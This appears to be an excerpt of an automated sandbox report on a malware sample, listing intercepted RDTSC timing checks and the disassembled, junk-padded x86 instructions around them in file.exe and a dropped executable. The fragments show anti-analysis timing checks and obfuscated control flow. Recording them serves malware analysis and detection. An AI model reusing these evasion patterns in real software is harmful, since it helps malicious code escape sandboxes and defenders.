Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D605B0 second address: 4D60617 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F93256ABCC1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and dword ptr [ebp-04h], 00000000h 0x0000000d jmp 00007F93256ABCBEh 0x00000012 mov edx, dword ptr [ebp+0Ch] 0x00000015 jmp 00007F93256ABCC0h 0x0000001a mov esi, edx 0x0000001c jmp 00007F93256ABCC0h 0x00000021 mov al, byte ptr [edx] 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F93256ABCC7h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60617 second address: 4D6068A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9324C341D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 inc edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F9324C341D3h 0x00000013 add ah, FFFFFFFEh 0x00000016 jmp 00007F9324C341D9h 0x0000001b popfd 0x0000001c pushfd 0x0000001d jmp 00007F9324C341D0h 0x00000022 or ch, FFFFFFF8h 0x00000025 jmp 00007F9324C341CBh 0x0000002a popfd 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D6068A second address: 4D606AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F93256ABCC9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test al, al 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D606AF second address: 4D606C2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9324C341CFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D606C2 second address: 4D60617 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F93256ABCC9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F93256ABBCDh 0x0000000f mov al, byte ptr [edx] 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F93256ABCC7h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60711 second address: 4D60761 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9324C341D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub edx, esi 0x0000000b jmp 00007F9324C341D7h 0x00000010 mov edi, dword ptr [ebp+08h] 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F9324C341D5h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60761 second address: 4D60767 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60767 second address: 4D607D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 dec edi 0x00000009 pushad 0x0000000a mov esi, edi 0x0000000c pushfd 0x0000000d jmp 00007F9324C341D1h 0x00000012 sbb ax, AAD6h 0x00000017 jmp 00007F9324C341D1h 0x0000001c popfd 0x0000001d popad 0x0000001e lea ebx, dword ptr [edi+01h] 0x00000021 jmp 00007F9324C341CEh 0x00000026 mov al, byte ptr [edi+01h] 0x00000029 pushad 0x0000002a pushad 0x0000002b push eax 0x0000002c pop edi 0x0000002d mov di, si 0x00000030 popad 0x00000031 popad 0x00000032 inc edi 0x00000033 jmp 00007F9324C341CEh 0x00000038 test al, al 0x0000003a push eax 0x0000003b push edx 0x0000003c pushad 0x0000003d mov ah, F8h 0x0000003f popad 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D607D1 second address: 4D60871 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F93256ABCC2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F9395EB3F4Eh 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F93256ABCBEh 0x00000016 and esi, 4EEA4CE8h 0x0000001c jmp 00007F93256ABCBBh 0x00000021 popfd 0x00000022 mov si, ECDFh 0x00000026 popad 0x00000027 mov ecx, edx 0x00000029 pushad 0x0000002a pushfd 0x0000002b jmp 00007F93256ABCC0h 0x00000030 or ch, 00000048h 0x00000033 jmp 00007F93256ABCBBh 0x00000038 popfd 0x00000039 jmp 00007F93256ABCC8h 0x0000003e popad 0x0000003f shr ecx, 02h 0x00000042 pushad 0x00000043 movzx ecx, bx 0x00000046 mov di, 2A3Eh 0x0000004a popad 0x0000004b rep movsd 0x0000004d rep movsd 0x0000004f rep movsd 0x00000051 rep movsd 0x00000053 rep movsd 0x00000055 push eax 0x00000056 push edx 0x00000057 pushad 0x00000058 pushad 0x00000059 popad 0x0000005a call 00007F93256ABCBCh 0x0000005f pop eax 0x00000060 popad 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60871 second address: 4D608BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, cx 0x00000006 mov ah, A9h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ecx, edx 0x0000000d jmp 00007F9324C341D5h 0x00000012 and ecx, 03h 0x00000015 jmp 00007F9324C341CEh 0x0000001a rep movsb 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F9324C341D7h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D608BF second address: 4D60950 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F93256ABCBFh 0x00000009 sub ecx, 749FD70Eh 0x0000000f jmp 00007F93256ABCC9h 0x00000014 popfd 0x00000015 push esi 0x00000016 pop ebx 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov dword ptr [ebp-04h], FFFFFFFEh 0x00000021 jmp 00007F93256ABCBAh 0x00000026 mov eax, ebx 0x00000028 jmp 00007F93256ABCC0h 0x0000002d mov ecx, dword ptr [ebp-10h] 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 jmp 00007F93256ABCBDh 0x00000038 pushfd 0x00000039 jmp 00007F93256ABCC0h 0x0000003e add cx, 5318h 0x00000043 jmp 00007F93256ABCBBh 0x00000048 popfd 0x00000049 popad 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60950 second address: 4D60956 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60956 second address: 4D60982 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F93256ABCBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr fs:[00000000h], ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 call 00007F93256ABCBBh 0x0000001a pop ecx 0x0000001b mov dx, 08BCh 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60982 second address: 4D609E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9324C341D2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a jmp 00007F9324C341D0h 0x0000000f pop edi 0x00000010 pushad 0x00000011 movzx ecx, di 0x00000014 popad 0x00000015 pop esi 0x00000016 jmp 00007F9324C341D5h 0x0000001b pop ebx 0x0000001c jmp 00007F9324C341CEh 0x00000021 leave 0x00000022 pushad 0x00000023 pushad 0x00000024 jmp 00007F9324C341CCh 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D609E5 second address: 4D604C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007F93256ABCC0h 0x0000000b jmp 00007F93256ABCC5h 0x00000010 popfd 0x00000011 popad 0x00000012 retn 0008h 0x00000015 cmp dword ptr [ebp-2Ch], 10h 0x00000019 mov eax, dword ptr [ebp-40h] 0x0000001c jnc 00007F93256ABCB5h 0x0000001e push eax 0x0000001f lea edx, dword ptr [ebp-00000590h] 0x00000025 push edx 0x00000026 call esi 0x00000028 push 00000008h 0x0000002a pushad 0x0000002b pushad 0x0000002c movzx ecx, di 0x0000002f mov ebx, 4295A05Ch 0x00000034 popad 0x00000035 movsx edx, ax 0x00000038 popad 0x00000039 call 00007F93256ABCB9h 0x0000003e push eax 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 jmp 00007F93256ABCC6h 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60B91 second address: 4D60BA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9324C341CEh 0x00000009 rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 107DDCD second address: 107DDE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F93256ABCB6h 0x0000000a pop ecx 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jnp 00007F93256ABCB8h 0x00000014 rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 108FAD1 second address: 108FAF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9324C341D7h 0x00000009 pop edi 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 1093428 second address: 109342C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 109342C second address: 1093432 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 1093432 second address: F0EC49 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 03E22BB5h 0x0000000f mov si, cx 0x00000012 push dword ptr [ebp+122D0BA5h] 0x00000018 mov dword ptr [ebp+122D30DAh], edi 0x0000001e call dword ptr [ebp+122D37E0h] 0x00000024 pushad 0x00000025 pushad 0x00000026 mov di, 18D0h 0x0000002a mov di, bx 0x0000002d popad 0x0000002e xor eax, eax 0x00000030 jc 00007F93256ABCC5h 0x00000036 jmp 00007F93256ABCBFh 0x0000003b mov edx, dword ptr [esp+28h] 0x0000003f jmp 00007F93256ABCC0h 0x00000044 mov dword ptr [ebp+122D2A13h], eax 0x0000004a mov dword ptr [ebp+122D3152h], edi 0x00000050 mov esi, 0000003Ch 0x00000055 mov dword ptr [ebp+122D30C9h], edx 0x0000005b add esi, dword ptr [esp+24h] 0x0000005f ja 00007F93256ABCBCh 0x00000065 lodsw 0x00000067 jmp 00007F93256ABCC1h 0x0000006c add eax, dword ptr [esp+24h] 0x00000070 add dword ptr [ebp+122D3152h], edi 0x00000076 mov ebx, dword ptr [esp+24h] 0x0000007a mov dword ptr [ebp+122D30DAh], esi 0x00000080 nop 0x00000081 pushad 0x00000082 jmp 00007F93256ABCC4h 0x00000087 push eax 0x00000088 push edx 0x00000089 js 00007F93256ABCB6h 0x0000008f rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10934AB second address: 10934B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10934B5 second address: 109353D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xor dword ptr [esp], 7D3A21FBh 0x0000000e mov edi, dword ptr [ebp+122D2C5Fh] 0x00000014 push 00000003h 0x00000016 mov edx, edi 0x00000018 push 00000000h 0x0000001a mov dword ptr [ebp+122D1A61h], edx 0x00000020 push 00000003h 0x00000022 mov edi, dword ptr [ebp+122D3099h] 0x00000028 call 00007F93256ABCB9h 0x0000002d jmp 00007F93256ABCBEh 0x00000032 push eax 0x00000033 jmp 00007F93256ABCBDh 0x00000038 mov eax, dword ptr [esp+04h] 0x0000003c jmp 00007F93256ABCBEh 0x00000041 mov eax, dword ptr [eax] 0x00000043 je 00007F93256ABCBCh 0x00000049 pushad 0x0000004a push esi 0x0000004b pop esi 0x0000004c pushad 0x0000004d popad 0x0000004e popad 0x0000004f mov dword ptr [esp+04h], eax 0x00000053 pushad 0x00000054 push eax 0x00000055 push edx 0x00000056 jmp 00007F93256ABCC4h 0x0000005b rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 109353D second address: 109354B instructions: 0x00000000 rdtsc 0x00000002 jns 00007F9324C341C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 109354B second address: 109354F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 109354F second address: 1093553 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 109365D second address: 1093663 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 1093663 second address: 1093667 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 1093667 second address: 1093695 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 1BD38A66h 0x0000000f push ecx 0x00000010 pop esi 0x00000011 push 00000003h 0x00000013 mov edi, dword ptr [ebp+122D1F53h] 0x00000019 push 00000000h 0x0000001b stc 0x0000001c push 00000003h 0x0000001e mov edx, dword ptr [ebp+122D29D3h] 0x00000024 push 9E206711h 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 1093695 second address: 10936A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F9324C341C6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10936A0 second address: 10936AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F93256ABCB6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10936AA second address: 10936C8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 21DF98EFh 0x0000000f mov dh, 71h 0x00000011 lea ebx, dword ptr [ebp+12458351h] 0x00000017 mov edx, eax 0x00000019 xchg eax, ebx 0x0000001a push ecx 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10B52CE second address: 10B52E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pushad 0x00000006 popad 0x00000007 jmp 00007F93256ABCBDh 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10B3299 second address: 10B32A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F9324C341C6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10B32A3 second address: 10B32A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10B32A7 second address: 10B32AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10B357A second address: 10B357F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10B357F second address: 10B358E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 js 00007F9324C341C6h 0x0000000f rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10B358E second address: 10B35B2 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007F93256ABCC8h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10B35B2 second address: 10B35D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F9324C341C6h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push esi 0x0000000f pop esi 0x00000010 pop eax 0x00000011 jnc 00007F9324C341CEh 0x00000017 push eax 0x00000018 push edx 0x00000019 push ebx 0x0000001a pop ebx 0x0000001b rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10B35D5 second address: 10B35D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10B3C26 second address: 10B3C3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F9324C341C6h 0x0000000a popad 0x0000000b je 00007F9324C341CEh 0x00000011 je 00007F9324C341C6h 0x00000017 push edi 0x00000018 pop edi 0x00000019 rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10B3C3F second address: 10B3C47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10B3C47 second address: 10B3C4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10B3C4B second address: 10B3C7E instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F93256ABCB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F93256ABCC2h 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jnp 00007F93256ABCC3h 0x00000019 rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10B3DE6 second address: 10B3E22 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F9324C341DAh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F9324C341CCh 0x00000011 jns 00007F9324C341D0h 0x00000017 rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10B3F79 second address: 10B3F9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F93256ABCBCh 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e jmp 00007F93256ABCC0h 0x00000013 rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10B3F9E second address: 10B3FA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10B3FA2 second address: 10B3FA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10A9063 second address: 10A907F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9324C341D2h 0x00000009 pop esi 0x0000000a push esi 0x0000000b push esi 0x0000000c pop esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10897E1 second address: 10897EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F93256ABCB6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10897EB second address: 108980B instructions: 0x00000000 rdtsc 0x00000002 jng 00007F9324C341C6h 0x00000008 jo 00007F9324C341C6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push edx 0x00000015 push edi 0x00000016 pop edi 0x00000017 pop edx 0x00000018 ja 00007F9324C341C8h 0x0000001e rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10B4ADF second address: 10B4AF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007F93256ABCBDh 0x0000000b rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10B4DFB second address: 10B4E17 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9324C341D7h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10B4E17 second address: 10B4E31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007F93256ABCBCh 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10B4E31 second address: 10B4E47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F9324C341C6h 0x0000000a pop edx 0x0000000b jmp 00007F9324C341CBh 0x00000010 rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10B4E47 second address: 10B4E52 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10B752D second address: 10B7531 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10B7531 second address: 10B7537 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10B7537 second address: 10B7541 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F9324C341C6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10B7541 second address: 10B7545 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10B770E second address: 10B7712 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10B7712 second address: 10B7716 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10B605E second address: 10B6072 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F9324C341C6h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push edi 0x00000011 pop edi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10B6072 second address: 10B6077 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10B67F4 second address: 10B67F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10BBF74 second address: 10BBF7E instructions: 0x00000000 rdtsc 0x00000002 jng 00007F93256ABCBCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10848AB second address: 10848C2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9324C341D3h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10848C2 second address: 10848D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007F93256ABCB6h 0x0000000e rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10C0C88 second address: 10C0C8E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10C0044 second address: 10C004A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10C091C second address: 10C0935 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 ja 00007F9324C341C8h 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 js 00007F9324C341C6h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
